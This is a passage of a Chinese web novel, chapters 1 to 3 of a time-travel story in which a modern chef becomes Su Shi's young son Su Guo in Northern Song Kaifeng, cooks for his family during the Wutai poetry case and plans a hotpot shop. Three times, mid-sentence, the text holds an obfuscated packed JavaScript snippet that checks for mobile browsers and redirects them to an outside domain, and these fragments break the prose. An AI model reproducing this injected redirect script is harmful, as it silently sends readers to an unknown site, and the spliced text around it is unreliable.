《在北宋给苏轼当儿子》 1. 第 1 章 苏过还是没有反应过来。 自己才刚获得全球美食大赛金牌，如此风华正茂，如此才华横溢，如此惹人嫉妒，哦，对，就是惹人嫉妒，才会被那个嘴里叽里呱啦吵着不服的东洋铜牌选手一把推下楼梯。 眼前一黑，就到了这个莫名其妙的地方。 年龄变成七岁不说，还病怏怏躺在床上，已经喝了三天清汤寡水的白粥。 床边坐着个看起来比他更加病怏怏的哥哥，正一口一口喂他。 “娘说今天把粥喝完，三弟你就可以起来活动一下啦。下次不要爬那么高摘桂花哦，幸好摔下来的地方泥土还算松软，虽磕到了头，也不太严重，若真出了什么事，娘和我们如何经受得住打击。” 絮絮叨叨，念的苏过本来就晕的头更加昏昏欲睡。 但也幸好有这么一个唠叨的哥哥，苏过才迅速弄清楚周围状况。 如今正是北宋神宗时期，陛下热衷开疆扩土，大臣沉迷变法改革，整个社会一片欣欣向荣。 当然，这些宏大叙事跟苏过暂时还没有关系。 他快速理清了状况。 苏过，家里老三。 坐旁边的是大他两岁的二哥，苏迨，看着病怏怏的，其实只是自小体弱，倒没什么大碍。 还有一个同父异母已经及冠的大哥，苏迈。 母亲王氏，是他爹续弦。 而他爹，是一个不大不小从五品北宋官员。 不过目前正被关在大牢里，听说是写诗得罪了上司。 也不奇怪，北宋才子遍地，九年义务教育必备名篇无数。 文人嘛，写的东西多了，难免就惹人看不顺眼。要没被人攻讦过，都不敢说自己有文采。 听说北宋自太宗起就对文人尤其宽容，仁宗更是指着他鼻子喷都只会笑着说爱卿辛苦了。如今官家虽然更加尚武了一些，但只要没惹到他跟前，顶多不过小惩大戒，降官贬职，问题不大。 苏过放下心来，便开始操心自己的事。 比如，已经被白粥摧残了几天的，空荡荡的五脏庙。 古代医术大多以保守为主，受伤生病都喜欢清淡饮食，卧床静养。 幸好也没有什么大病，不然还是要寻一寻靠谱医生才有安全感，先加到待办事项里，以后关注着。自己用不上，二哥肯定也很需要。 苏迨倒是尽职尽责，说是喝完粥就可以起来活动。看苏过很有一副不想再躺的样子，当下就扶了他起来。 骤然站起，苏过眼前就是一黑，幸好有二哥扶着，虽然差点两个人一起栽倒在地，但好歹强撑着立住了。 走出房门，苏过也第一次看清楚家里的格局，一个两进院子，十分干净整洁。不知道地段，但北宋汴京的房价比后世北京还要离谱，有的宰相都只能租房子住。不管是租是买，家里应该好歹小康级别。 一对帮佣的老夫妇，张叔正在打扫院子，见苏迨摇摇晃晃扶着苏过出来，忙扔了苕帚过来搀住，“二郎怎么不叫张叔，若是你们俩摔了谁可如何是好。” 听罢苏过只假装腼腆一笑，苏迨倒不服气地说：“三弟这么虚弱，我肯定好好扶住不会摔跤的。” 张叔哈哈一笑，也不反驳。只接过手来，扶着苏过绕屋子走了一圈。 待走到厨房，张婶正在张罗晚饭，食材倒是齐全，但想到这几天喝的没滋没味的白粥，也知道张婶厨艺估计也就一般，不过没关系，自己动手，丰衣足食，在吃的上面，苏过从不亏待自己。 他想要进厨房，却一下子被张叔拦住，“小郎还在病中，厨房油烟大，且不要进去。” 张婶见状也擦了擦手，望过来嘱咐：“小郎想吃什么跟婶子说，婶子给你做。只是大夫吩咐暂时还不能吃荤腥油腻，小郎且先忍一忍。” 苏过环顾四周，竟然在角落见到竹篓里装着半篓子桂花，想必这就是害原身摔下来的罪魁祸首了，也不知道那倒霉的原来的苏过，是不是去到自己那边了，不过以自己的名声和家世，还有家人照顾，想必过的也不会很差。 见到桂花，苏过的口水都快要流下来了，这可以做的东西太多啦，桂花糖藕，桂花糕，桂花酒酿圆子。 虽然要清淡饮食，但避开荤腥，咱们吃点甜品总可以吧。 当下便唤了张婶过来，如此这般讲了一番，从如何清洗打理桂花，到料理食材，甚至连火候都一并嘱咐了。听的张婶啧啧称奇，“小郎竟然在厨艺上如此精通。” “三弟向来爱看各种杂书，想必都是书上的吧。”苏迨也很惊讶弟弟竟然知道这么多，但想到平日里本来也就苏过和父亲最喜欢研究吃食，各种杂书都看，知道一些方子也不算稀奇。 听到二哥这么快就替自己想好了理由，苏过心下很是慰藉，好二哥，亲兄弟！ 面上还是不显，继续一副虚弱腼腆的样子，“比较喜欢研究这些，记下来挺多食谱的，都是纸上谈兵。” “没关系，婶子来做。”张婶笑的合不拢嘴，立马进了厨房拾掇起来。 她之前只会做一些寻常吃食，但基本功都在，如今按步骤做来，倒是问题不大，不一会儿厨房里便飘出了甜香。 大宋寻常人家都只吃早晚两顿，苏过也是因为养病，才中午多了一顿白粥，逛了这一圈早就消化干净了，几个人都围着厨房，馋的不行，只想立马开动。 刚好，王氏和苏迈也回来了。 这段时间他们都在为苏过他爹奔走。苏迈不但要和各家相熟的世伯故交打探消息，每天还得往牢里送饭。 要知道在大宋，坐牢的人如果没有家人送饭，就只能吃无比难吃的牢饭，还得增加劳作换取吃食，所以但凡亲人在外家里还过得去的，都会时常往牢里送些吃穿进去。 一段时间奔波下来，已经黑瘦不少。 王氏更是尝试通过各家夫人吹风打点，另外手上也有一些生意要料理，近来正准备出掉一些，收拢银两以备不时之需。 进门时，两人脸色都不太好，看来又是碰壁的一天。 见到苏过在，王氏很快调整好心情，前阵子忙着丈夫的事，对孩子难免忽视，结果过哥儿从树上摔下磕到头，昏睡了两天才醒，醒来后也没有以前活泼，让王氏很是揪心。 “过哥儿已经起来了么，可还感觉头晕。”王氏连忙走到近处，扶住苏过问道。 苏过已经调整好心态，而且不知是不是身体记忆，本身对王氏就十分亲切，其他人也很有熟悉感，所以相处下来倒没有十分别扭。只秉持着少说少错的原则，尽量少说话罢了。 “今天感觉都还好，已经恢复差不多啦。”苏过回答道。 王氏听了放下心来，才突然闻到周围的甜香味，桂花的清香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405631|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着白糖的甜味，一下子让人肚子饿了起来。 于是连忙吩咐摆饭，几人就在堂屋准备用饭。 新从苏过这里听的方子，因担心甜食太多，张婶就只做了桂花糖藕和桂花糕，另外炒了几个时令小菜。 桂花糖藕泛着粉色的光泽，糯米和藕片被糖汁包裹，黄色桂花点缀其中，一看就很甜很好吃。苏过夹了一块放入嘴里，粉糯的莲藕还带一点韧劲，刚好跟糯米的软糯中和，丰富了口感层次。糖汁调的还不尽如人意，稍微有点偏甜，但苏过已经喝了好几天白粥，这点小瑕疵，完全可以忽略不计。桂花糕更是桂花香伴随着大米清香，甜而不腻，吃了一块儿还想再吃一块儿。 其他人也都一声不吭，忙着夹菜，两份甜品很快就被消灭一空。 苏迈吃的意犹未尽，“张婶今天的手艺倒是出乎意料。” 苏迨向来吃饭细嚼慢咽，今日也吃了不少，咽下最后一口桂花糕，“是过哥儿书上看来的食谱，果然很不一般。” 甜食果然是治愈的良方，王氏吃完心情好了不少，见几个孩子都吃的开心，更是心下慰藉。 身为厨师，最开心的时刻就是做的食物让食客满意了。 今日的菜虽不是苏过亲手做的，但依然十分欣慰，“大家吃的满意就好。” 王氏点点头，“满意，再满意不过了。” 大哥二哥也纷纷附和。 正此时，苏过本来一天都没有再痛的头突然又针扎般疼了一下，一个声音在脑海中响起： 美食系统开启，请获得更多满意值，换取丰厚奖品。 苏过还以为是幻听，机械声却又在脑海里回响了两遍。 什么美食系统，苏过刚在心里默念，眼前就出现了一个面板，吓了苏过一跳。 见苏过面色有异，王氏几人都看过来，关切的问是不是身体还不舒服。 未免看出异样，苏过连忙默念关闭，面板消失。面对家人关切询问，谎称自己有点疲惫。 于是众人便也不再打扰他，苏迈扶苏过回房，安慰了几句，让他好好歇息就走了。 终于一个人待着。苏过连忙唤出系统。 说是系统面板，其实更像一个商城，密密麻麻列出了很多瓜果蔬菜，目前亮着的都是些日常食物和种子，可以用满意值兑换，甚至还有快乐水。还有一些灰色的格子，里面辣椒、西瓜、红薯、玉米、土豆还有薯片零食，都是暂时无法购买，需要提升等级才能解锁。有的格子连内容都不展示，提示8级以上才能查看。 面板右上角显示着苏过目前拥有的满意值，52，将将可以兑换两瓶快乐水。 查看满意值明细，来自王氏和苏迈苏迨几人，苏迨竟然贡献的满意值最多，看来是真的对甜品很是喜爱。 至于规则，简单的可怜，只有孤零零一行： 用美食征服他人，即可获得满意值。更多功能，请自行探索，一切解释权归系统所有。 真是简明扼要的规则呢。 苏过懒得吐槽，默默兑换了一瓶快乐水，特意勾选加冰，喝了一口，打个嗝，惬意闭上眼睛。 果然所有的穿越都必然是有原因的，而他，苏过，必然是天选之子！ 身为天才金牌厨师，用美食征服他人，小case! 北宋，让我来征服你吧！干杯！ 2. 第 2 章 苏过今天征服北宋成功了吗？ 没有！ 苏过，他拉肚子了！ 躺在床上，连续跑好几次茅厕已经消耗光本就不多的体力，今天，完全不需要假装，就已经是一个虚弱的病人。 果然昨天的快乐水不该加冰！ 怎么能刚可以下床，就忘了自己还是一个肠胃虚弱的病人。 乐极生悲。 出师不利。 苏过只能眼睁睁看着二哥送走大夫，又端来一碗漆黑的汤药，顺便告知一个晴天霹雳，接下来，他要再喝三天白粥。 闭上眼睛，苏过感觉生无可恋。 以为弟弟是太累了，于是贴心掖了掖被角，留他自己在房间休息。 整整三天，苏过又体验了一遍清汤寡水的生活，一点都没有穿越人士该有的精彩人生。 唯一的快乐还是第三天大哥送饭回来，给他带了一个白糖烧饼，据说是汴京最出名的郑家饼铺买的。 几天前吃了送去的桂花糖藕和桂花糕，他们爹很是惊喜，给他一个人就贡献了20的满意值，苏过看着系统里多出来的明细： 苏和仲，+20。 心想他爹果然也是个吃货。 结果随后几天送的饭又变得稀松平常，难免失望。大哥苏迈向来孝顺，今天特地排队买了烧饼送去，顺便带了几个回来给家里人尝尝，当然，苏过这里还虚弱着，只能吃半个。 苏过捧着不大的半个烧饼，不愧是汴京老字号，芝麻焦香，外皮酥脆，糖汁分布均匀，一口咬下去，面点的香味伴着白糖的清甜，简直不要太幸福。 苏过在心里默默为饼店老板点赞，如果也能加满意值，那必然是9分，少的一分，是烧饼已经变冷，不及刚出炉时香气满满。 第二天一早，苏过饿着肚子醒来，连忙到厨房，准备好好张罗一下吃食。 见蘑菇和山笋都还新鲜，也不敢托大。叫张婶将两样都熬了汤，下面条进去，煮了素面。 蘑菇和笋的清香浸入面条，只加简单的调料就很鲜美，又极其养胃。 苏过吃了满满一大碗。 家里其他人也逐渐起床或被香醒，分别用完自己那份早饭，给苏过贡献了不一的满意值。 接下来苏过在家可劲儿折腾吃食，苏家每天早晚餐几乎没重复过，下午还有点心加餐。 可能美食真的有治郁功效，王氏和苏迈的心情也轻松了许多。至少每次吃饭的满意值都达到了顶格。 经过重复验证，每人每天只能给苏过贡献最高20的满意值。 一日三餐固然能稳定进账，不对，一天还只有两餐，苏过算了算，勉强加个下午茶甜点，也只刚好够兑换一天的食材外加一样小零食。 系统里一个西瓜就要五百，种子一千，看起来还算良心。 但这属于中级物品，要三级才能解锁，而升级，也需要消耗满意值。 看了下升级所需满意值，苏过气笑了，升到二级要五千，二级升三级竟然要五万，后面的数值更是指数级增加。 用户体验呢，人权呢。 难道他穿越过来就是为了朝九晚五做饭攒经验当牛马煮夫？ 苏过想摆烂。 但是看看商城里各种改良后的水果蔬菜，尤其是辣椒，苏过又很不甘心，想到那么多好吃的东西，不快点吃到，怎么对得起自己。 小小年纪，摆烂就算了，躺平当个吃货还是很有必要的，且看看有没有别的出路。 苏过决定出门去看看，拓宽视野，应该能有新的想法。 其他人都没空，又不放心苏过一个人出门，苏二哥自告奋勇陪逛，王氏给带足了零花钱，嘱咐两人一定别去人太多的地方，小心走散。 来北宋这么多天，苏过终于第一次走出家门，有机会感受这真正的北宋繁华。 本以为《清明上河图》已经足够令人震撼，但置身其中，看到开封府满目的粉墙朱户，大小商铺琳琅满目，沿街小吃摊贩云集，水饭、果脯、茶汤、肉饼，香的苏过都不知道先看哪个。 北宋商业极其发达，不似唐代坊市分离，几乎每个街区都有完整的生活配套，各种正店脚店小摊无数，而且不设宵禁，逢节假日，夜市几乎通宵营业，可以说生活十分丰富多彩。 看到樊楼那三层高的豪华建筑时，雕梁画栋，飞桥相连，苏过只觉得比起现代的高楼，更让人震撼。 还有各种瓦舍勾栏，可以说是北宋的综合性娱乐中心，每天听戏看剧的人无数，可惜两人这个年纪，敢进去听曲，回去立马就会被王氏拧耳朵。 听说等到大相国寺集会，那才是真正热闹，好吃好玩应有尽有。不过人多，想去估计得磨着王氏或大哥带着他们。 苏家住在内城西街，竟然离开封府不远。这附近大多都是官员富商宅邸，以及数量不一的公租房，大多也都是官员学子租住。苏家小院子虽然不大，却是王氏早年就买下的，果然很有眼光和头脑。这边的店铺多是些金银饰品，香料胭脂，主打高端路线。 往东街一走，烟火气息就浓了，各种小商铺，民宅密集，摊贩也多了很多。 两人都是半大小子，逛了这么一阵肚子早就饿了，沿街各种小吃买了一路吃了个半饱，最终选了一个馄饨摊坐下。 卖馄饨的老婆婆见他们两个小孩，特地额外加了分量，满满两大碗端到面前。 馄饨皮薄馅儿大，圆圆滚滚挤在碗里十分诱人。 汤底是熬的鸡汤，撇了油，十分透亮。苏过舀了个放嘴里，肉馅儿去了筋，选的里脊嫩肉，搅打上劲儿，又配了菘菜和荸荠，清爽劲道，无论是细细品尝还是就着爽滑的馄饨皮囫囵个吞下，都十分美味。 吃到这么好吃的食物，苏过一面十分满足，一面又开始感叹。 本来还想着出来研究下北宋的市场，以自己手艺，说不定能另辟蹊径赚些满意值。 毕竟经过验证，当大厨做菜十分不切实际，王氏和兄长们肯定不会答应，但自己提供创意和食谱的食物，也一样能够有效。 开个饭馆酒楼，每天的客流量带来的满意值，想想都要笑出声。 但走了这么一圈下来，北宋这充分竞争的商业区，不知道他这个现代厨艺大师，能够分到多大的蛋糕。 没关系，慢慢来。 万里长征，始于跬步，他现在，连开饭馆的启动资金都还没有呢。 这个年代，子女不兴有私产，他那可怜的零花钱，还支撑不起整个计划。 正当苏过边吃边走神的当口，远处一匹马不知道是惊着还是怎样，一下子失控横冲直撞起来。 马背上坐着一个不过弱冠的紫衣少年，正拼命调整缰绳，但惊到的马哪里那么容易控制，左右冲撞，几乎要把他掀下马背。 不过片刻，竟然朝着苏过他们的方向奔驰而来。 苏过反应不及，苏迨发现要早一步，但力气不够，只勉强拉住弟弟衣衫，往旁边躲闪，却仍来不及，眼看两人就要被马蹄踢到，危险万分。 只听见“砰”的一声，受惊的马在碰到他们之前被人一拳打翻在地，撞倒的桌椅碎片砸到身上，但好歹没碰着要害。 马背上的少年一下子摔下马来，倒在苏过他们旁边，捂着腿哎哎叫唤。 惊魂方定，苏过望过去，却见救了他们的，竟然是一个年龄和他差不多的小男孩儿，模样生的极为好看。 若不是亲眼所见，简直无法相信那样小小的一个拳头可以打翻这么高大一匹骏马。 紫衣少年带的一众仆从连忙上来，扶人的扶人，看马的看马。 这马儿倒在地上抽搐，眼看就要不行。紫衣少年见状哀嚎一声，“我的汗血宝马。”然后就要去找小男孩儿麻烦，这可是他好不容易磨着爹搞来的骏马，还没驯服磨合好就忙着骑出来要去找狐朋狗友炫耀，却没想到炫耀不成反而痛失爱马。 仆从扶着他走到小孩儿面前，叫嚣着要他好看，却见小孩儿揉了揉拳头，脸上浮起笑意，配着那张年幼却初见美人胚子的脸，无比张扬肆意。 想到眼前这人一拳就打翻了那么高大一匹马，紫衣少年一下子消了怒气，忙道算了，就要在一众包围下扬长而去。 苏迨见弟弟手上被砸出的青紫，怒气上涌，站起来就要找人理论，却被两个家丁拦住。 苏过哪里见的哥哥被欺负，立马前去给二哥解围，无奈对方人多势众，完全无法靠近，“朗朗乾坤，竟然还有当街纵马，仗势欺人的事。这么多摊位被毁，大家损失惨重，你们就这样一走了之不成，随我去开封府分说清楚。” 见苏家两兄弟都被家丁拦住，漂亮小男孩几步过来，随意一扭就将家丁的手掰开，救出苏过，足见力气之大。旁边围观的人见状也纷纷谴责，被掀翻摊位的各个摊主更是义愤填膺，一齐上来，将那人和家丁团团围住，就要逮住他们去报官。 包围之下，紫衣少年腿疼的抽气，大声叫嚣，“我乃蔡相之子，若你们再闹事，影响我去看大夫，有什么不对劲，你们担当得起么。” “王子犯法与庶民同罪，你这般行径，府尹大人必会为我们主持公道的。”苏迨也不怵他，挣脱家丁的挟持，站到苏过旁边。 旁边的群众也被这人的言论激起愤怒。要知道汴京的居民可是自有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405632|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一份骄傲。虽然没有仁宗当年那么彪悍，连猪跑到宫里都敢找人帮忙抓回来。但这个地界儿，一片瓦砸下来都能碰到两个当官的。蔡相又如何，这件事儿，官家来了都不敢说他有理。 见势不对，无论是武力还是道理上他们都占下风，紫衣少年忙给旁边小厮使眼色。小厮也是机灵，立马拿银子给被撞翻的摊主行人赔罪道歉，只说是马不小心惊了，并非故意。 见苏过苏迨二人不像平民子弟，更是拿出一张银票，双手奉上，“给两位公子压压惊，我们少爷实在是急着去治伤，咱们就大事化小，小事化了。您看？” 两人的确没什么大事，又见紫衣少年已经疼的整个人倚在家丁身上，苏过便挥挥手，也不要银票“就这样吧，你们快些去看大夫。” 小厮连忙跑回去，簇拥着紫衣少年离去，围观的百姓也都各自散了。 苏家兄弟二人忙跟小男孩道谢。 “多谢小兄弟出手相救，敢问尊姓大名，家住何处，改日必登门道谢。”苏过拱手感谢，想着一定要好好报答下恩人，救命之恩，不说以身相许，物质补偿怎么也是要的。 小孩儿脸上却闪过一丝不自在，“在下姓狄，随手小事，不足挂齿，就此别过吧。” 说完不等两人反应过来就离开了。 苏迨望着小孩儿背影，“这狄小兄弟，倒长得跟个女孩儿般好看。” 苏过十分赞同，但又想到那一拳打翻大马的神力，“美是不分性别的，狄兄弟真是美貌与实力并存，可惜不肯告诉我住在哪儿，都无法做些好吃的感谢一下。” 两人回到家，正好碰上大哥苏迈背着包袱出门，行色匆忙，只跟两人简单道别就骑马而去。 进到正厅，见了王氏，才知道原来是父亲的事有了转机，“今日大朝会，你们父亲谋逆的罪名被章大人当庭驳斥，官家已下令彻查，待迈哥儿从湖州带回其他同僚书信证词，想必就能清白了。” 苏过越听越不对劲。 谋逆？他们父亲不是写诗得罪上司么，怎么变谋逆了？！ 正准备问个清楚，王氏却一下子看到苏过手上的青紫，连忙问两人怎么回事。 简单说完经过，王氏抓住重点，问苏迨可有摔到哪里。 苏迨正准备含混过去，被王氏拉过去，一下子痛呼抽气，掀起衣服一看，背上好大一块儿青紫。 却原来拉开苏过的时候，被撞飞的桌子正好撞上苏迨的背，他却一直强忍着没说。 见两人都有受伤，王氏也顾不上责怪，连忙出门去请大夫。 苏过也没心思问案子了，立马扶二哥坐下休息，说要去厨房看看，做点好吃的给他补补身子。 待到厨房，张婶正在烧菜，张叔拿了食盒在旁边，准备饭菜出锅后就盛出一份装好。今日大郎出门了，这几天换张叔往狱中送饭。 见旁边盆里有一尾新鲜鲢鱼，“家里豆腐也有，做鲢鱼豆腐汤再好不过了。” “今日这鲢鱼和豆腐都很新鲜，我特意买了准备做来着，不过大郎不让烧鱼，就放着了。”张婶一边炒菜一边说道。 “不让烧鱼，这是为何，不过大哥已经出门了，今日二哥受了点伤，喝鱼汤正好补一补，就烧鱼吧。”一面说，一面指挥着张叔把鱼杀了，又安排张婶烧鱼。 鲢鱼煎熟，加豆腐，配酱、酒，加入水烧汤，翻滚后呈半红色，撒上葱花就能出锅，味道尤其鲜美。 正在熬汤，王氏带着大夫回来，给苏迨瞧了一圈，又压着苏过也做了个全身检查，见的确只是一些皮外伤，才放下心来，开了些外用膏药。 晚饭时，几人喝了鲜美的鱼汤，心满意足后，就被王氏赶着回房涂药休息。 今日二哥不顾安危护着自己，苏过心里有些愧疚，于是跟着苏迨回房，说要帮忙涂药并且陪睡照顾。 见弟弟如此乖巧，苏迨哪有不答应的。 于是两人互相涂好伤药，并肩躺在床上，只觉十分温馨，苏迨又絮絮叨叨讲了好多小时趣事，直到昏昏欲睡。 苏过习惯性睡前打开系统准备查看满意值，却见满意值的地方标着鲜红的数字：-666。 什么？！ 苏过惊呼出声，把苏迨也吓了一跳。 未免发现异样，苏过插科打诨糊弄过去，假装睡着。闭上眼睛点开明细，只见正常的每日明细里面突然多了一条： 苏和仲，-1000。 老爹你怎么肥事！哪道菜这么不合胃口！ 还有系统，满意度上限是20，怎么下限还能负一千呢！ 坑爹呢！ 还有这爹，也很坑啊！ 3. 第 3 章 苏过一觉醒来，依然备受打击，连每日下厨任务都提不起精神，还好近来贡献食谱够多，张婶自己也能处理的非常好。 这一日，难得几人都空闲在家，苏过兄弟二人看书练字，王氏也在一旁看账本。 却突然进来一个年轻人，生的端方稳重，此刻却满脸焦急问王氏，“老师怎么突然被判死刑了，师娘你可知道详情？” 王氏也吓了一跳“无咎你哪里听来的消息？不是刚在细查么，迈哥儿正去湖州取证词呢。” 年轻人正是苏过父亲弟子，晁无咎，拿出两张纸，只见上面抄录着两首诗。 “这是老师狱中绝笔，一名狱吏帮忙传出来，如今已经满汴京皆知了。” “怎会如此。”王氏接过来一看，悲痛的都快拿不住。 苏过连忙接过，只见抬头写着《狱中寄子由二首》。 子由？北宋叫子由的有谁？ 已知他爹姓苏，那他弟弟也应该姓苏。 苏子由。 那么请问，苏子瞻是谁？和苏和仲什么关系？ 不小心把心里声音问了出来。 晁无咎碰了碰他额头，“过哥儿是不是吓傻了，连老师的名字你都忘了么，苏子瞻和苏和仲是一个人，都是你爹，苏轼呀。” 是啊，写这两首著名绝命诗的，可不就是苏轼么。 难怪他之前还在疑惑，怎么他爹一个五品官员，得罪上司的案子要大朝会上讨论，还谋逆，原来得罪的，是官家这个上司啊。 历史上有名的乌台诗案。 一切都解释的通了，他那负一千的满意值，突然出现的绝命诗。 原来都是鲢鱼惹得祸。 这还得从他爹和大哥的约定说起。 据说他们有一个生死暗号，如果被判死刑，往狱中送饭的时候，就送鱼，否则就送其他吃食。 本来一切运转良好，结果他大哥刚走，他们就往狱中送了美味的鲢鱼豆腐。 老苏打开食盒，天都塌了，连夜写了两首绝命诗，嘱托狱吏梁成转交弟弟苏辙。 这送鱼乌龙可是写进《孔氏谈苑》的，老苏自己给好友章惇的信里也有提到。 对，还有这个章大人，原来是你啊，反目成仇章子厚。 不过目前他们关系还不错，章大人还在朝中给老苏求情呢。 等这两首诗送到神宗案头，老苏离被释放也就不远了。 当然，他们全家也就要打包去黄州了。 不过常言道，不要担心一个时辰和八公里之外的事。 被贬流放什么的，就当环游北宋了。 现下当务之急，是如何安慰狱中的老苏。 这两首绝命诗，真是情真意切，看的人都要落下泪来。 于是苏过只能当场现编，把锅抗好，“这大概是个乌龙，都是我的错。” 王氏眼泪汪汪望过来，“过哥儿何错之有。” 于是苏过把老苏和大哥的约定讲了一遍。“之前有听大哥提过，都怪我没放在心上，前两天见鱼新鲜，就让张婶做了鱼，估计张叔送到牢里了。” 王氏听了，转哭为笑，“还有这等事，过哥儿你也是无心的。不过今日还是早些送饭过去，把误会解了才好，你爹在狱中还不知如何揪心呢。” 苏过点点头，准备去厨房亲自做几道好菜，安抚下他爹。“无咎哥你也留下来吃饭吧，有什么想吃的没？” 危机解除，晁无咎也恢复了平日稳重的样子，“今日着急来问情况，都没啥胃口，随便做些便可。” “好，那便做点酸甜开胃的吧，再做几道甜的，爹在牢里焦心了这些天，很需要吃些甜的平缓一下。”苏过一边说着一边往厨房走去。 见苏过竟大有亲自下厨的意思，晁无咎连忙前去劝阻。 倒不是君子远庖厨，作为亲传弟子，晁无咎以前也是和苏轼一起下厨研究过吃食的人。 但过哥儿一个七岁小孩，锅那么重，磕了碰了，被油溅到如何是好。 于是他就看到苏过熟练颠锅，刀工也让人自愧不如。 开玩笑，身为大厨，拿锅也是有巧劲儿的，力气小完全不影响发挥。 于是晁无咎只能化身帮工，给苏过递盘子洗菜。 虽然疑惑过哥儿厨艺怎么变得这么好，但老师已经在牢里关了数月，想必变故之下，这样的小孩儿也努力成长不少。于是看苏过的眼神越发怜惜。 苏过对此浑然不觉。 他正准备做一道荔枝肉，将猪肉切花刀，下油锅炸成荔枝状，调了酸甜的芡汁，淋上去，跟水果一般的口感。 老苏还没去岭南，先让他尝一尝猪肉版本的荔枝吧。 可惜他的满意值还是负数，不然兑换一瓶快乐水，做可乐鸡翅也是极好的。 伤心事不要多提。 于是苏过又做了一道蜜汁鸡腿，顺便搭配蜀中甜品红糖糍粑。 这么多甜食，他爹在狱中，应该可以郁闷全消了吧。 这年头，弟子如同亲人，一家人也没太大讲究，坐在一张桌子上准备吃饭。 小晁本来还说胃口不好，不知是酸甜的荔枝肉作用，还是坏消息消失心情变好，反正这会儿是胃口大开了。 甜咸搭配，最容易吃撑，到最后，是扶着肚子下餐桌的。 苏过也收获了今日额外的20满意值。 饭后闲聊了几句，晁无咎便准备告辞，道秦少游写信来，不日将到汴京，届时再和少游一起来拜访。 苏过听的耳朵都竖了起来，秦少游，是写“两情若是久长时”那个秦少游么？ 果然北宋名家遍地呀。 只是不知道自己家那个最大的名家，什么时候能够出来。 睡前收到老苏的20点满意值，看来今日心情有所平复。 而自己那还是负数的满意值，还是得另外想想办法。 第二日，苏过就来找王氏想办法了。毕竟他自己毫无积蓄，想要往外拓展流量，无论开店还是摆摊，都得拉投资，要钱要人。 王氏并非迂腐之人，她在堂姐去世后嫁给苏轼，虽然才学不如堂姐进士之女那般出众，但也识文断字，小有才情。家中一直有经营生意，她自己也是将嫁妆田产经营的有声有色，这些年来，很是免了苏轼的后顾之忧。 两个儿子从小便天赋过人，尤其是过哥儿，小叔就曾夸他最肖其父。 但孩子想做点别的，她也不会阻拦，读书明理，有什么能比做些实事更快明辨道理呢。 听苏过说想要开店，她略想了想便说：“倒正好有一家脚店，本是我预备经营着，等你父亲调回汴京，却没想遇到这种事。近来正打算盘出去，你既然想试试，就拿这个店练手吧。” 天上掉馅饼，说的就是此刻了。 娘亲真是女中豪杰，抱紧大腿！ 传说老苏晚年穷困潦倒，难道是因为娘亲不在了？ 原来亲娘才是家里真正当家人，顶梁柱呀。 寻找名医待办事项标粗，看来得早点提上议程，不能让大腿有任何闪失。 隔日王氏就叫来了脚店的负责人李掌柜，说了决定，让以后都听苏过安排。 见苏过只是一个七岁小孩，李掌柜心里暗暗叫苦，只担心是来玩耍败家的。 但他和苏家签了长契，本来脚店准备盘出去，他这个掌柜也做到头，不知道换个什么行当，如今虽换个小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405633|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩来管，但好歹继续开下去，大不了自己多操心操心。 于是心下一转，倒是恭敬地对苏过拱了拱手，“全凭小公子安排。” 苏过哪里看不出来他的担忧，但也并不在意。昨日他在书房待了半晌，已列出了自己的宏伟计划蓝图。 汴京的食肆只是第一步，他要跟随老爹被贬的脚步，将连锁店开满北宋。 他，是要成为北宋苏万三的男人！ 苏过虽手握无数食谱，自身厨艺高超，但开店这种事情，找人挂名去做可以，他要是成日待在厨房以此为主业，估计等着他的就不是娘亲的支持，而是藤条了。 也是最近老苏的事占据了家里大半心神才没空管二哥和他的学业，不然哪来这么多空闲时刻。 简单，好操作，有特色，控秘方。 连锁店的必备要素。 至于具体卖什么，还要先看下脚店情况再决定。 说干就干，苏过跟王氏打了招呼，便出门随李掌柜去脚店。 苏家的食肆在东街，原本以为只是一个小小的店铺，结果竟然是初具规模的两层小楼，坐落在一条巷子里，周围大多是民房，卖的都是普通酒菜，除了没有酿酒权，不及主街道客流密集，倒也经营的四平八稳。 原本苏过还在犹豫卖什么，一看这个格局，立马有了主意。 穿越人士必备，老少咸宜的火锅，舍它其谁。 香喷喷的锅底熬一熬，再深的巷子都不怕没人来。等以后他解锁了辣椒，红汤的味道更是无人能挡。 现在没有辣椒也不打紧，番茄菌菇海鲜汤底，哪个都很美味。 拨霞供要南宋才会出现，咱们提前上升级版。 底料配方握在手里，以后发展不用愁。 完美！ 苏过哼着歌回到家，准备着手开始店铺设计改造计划。 还有各种底料配方，配菜搭配也需要好好斟酌。 好多事情呀，想想就干劲满满！ 然后苏过就在家里见到了晁无咎，这次还带着一个风度翩翩的帅哥，就连他大哥也回来了，几人正在堂屋喝茶。 